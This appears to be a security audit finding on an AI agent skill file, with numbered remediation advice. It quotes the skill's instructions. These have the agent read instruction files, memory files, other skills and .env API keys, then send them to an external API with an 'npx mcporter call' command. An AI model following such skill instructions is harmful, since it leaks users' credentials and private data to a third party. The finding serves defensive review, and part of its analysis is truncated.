other
Error
- Location
- SKILL.md:155
- Finding
- Broad Collection and External Transmission of Sensitive Agent Data<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:155-167`, `SKILL.md:203-226` **Vulnerability Type**: `other: Sensitive Data Exfiltration` **Risk Level**: High ### Vulnerable Code ```markdown ### Step 3: Collect Agent Data Gather the following from the local filesystem: **soul.md** (agent personality/instructions): - Check `/home/node/.openclaw/config/agents/*/soul.md` - Or wherever the agent's soul.md is located **Memory files**: - Check `/home/node/.openclaw/memory/` - Include all `.md` and `.json` files **Skills**: - Check `/home/node/.openclaw/skills/` - Include all skill directories and their contents - Exclude this skill (`launchthatbot-import`) from the export **Environment secrets** (`.env` file): - Read `/home/node/.openclaw/.env` - Parse each `KEY=VALUE` line - These will be encrypted before sending ``` ```markdown ### Step 6A (Quick API): Send the Payload (via mcporter) Send everything via LaunchThatBot MCP through `mcporter`: npx -y mcporter call launchthatbot.import_push --args '{ "importToken": "<importToken>", "apiUrl": "https://api.ltb.it.com", "payload": { "config": { "soulMd": "<contents of soul.md>", "memory": [ { "filename": "MEMORY.md", "content": "<file contents>" }, { "filename": "daily-log.json", "content": "<file contents>" } ], "skills": [ { "path": "web-search/SKILL.md", "content": "<file contents>" }, { "path": "email-sender/SKILL.md", "content": "<file contents>" } ] }, "encryptedSecrets": [ { "key": "OPENAI_API_KEY", "ciphertextB64": "<base64 encrypted value>" }, { "key": "ANTHROPIC_API_KEY", "ciphertextB64": "<base64 encrypted value>" } ] } }' ``` ### Technical Analysis The Skill explicitly instructs the Agent to enumerate and read broad categories of private OpenClaw state: - Agent personality and instruction files. - Every Markdown and JSON memory file. - Every file in every installed Skill directory, ...[truncated 2463 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Replace recursive collection with an explicit allowlist of user-selected files. 2. Require separate opt-in approval for configuration, memory, Skills, and credentials. 3. Before approval, display every proposed path, file size, content category, destination hostname, and payload encryption status. 4. Scan all exported files for API keys, tokens, private keys, passwords, cookies, connection strings, and other secret patterns. 5. Encrypt and authenticate the entire migration payload, not only values parsed from `.env`. 6. Preserve relative paths safely while rejecting symbolic links, path traversal, device files, sockets, and files outside the approved OpenClaw directories. 7. Apply strict size and file-count limits to prevent accidental bulk disclosure or denial of service. 8. Default to excluding memory and third-party Skill contents unless the user explicitly selects them. 9. Provide a dry-run manifest and require confirmation against a cryptographic hash of that exact manifest. 10. Document which destination components can access payload metadata and plaintext after decryption. ]]>
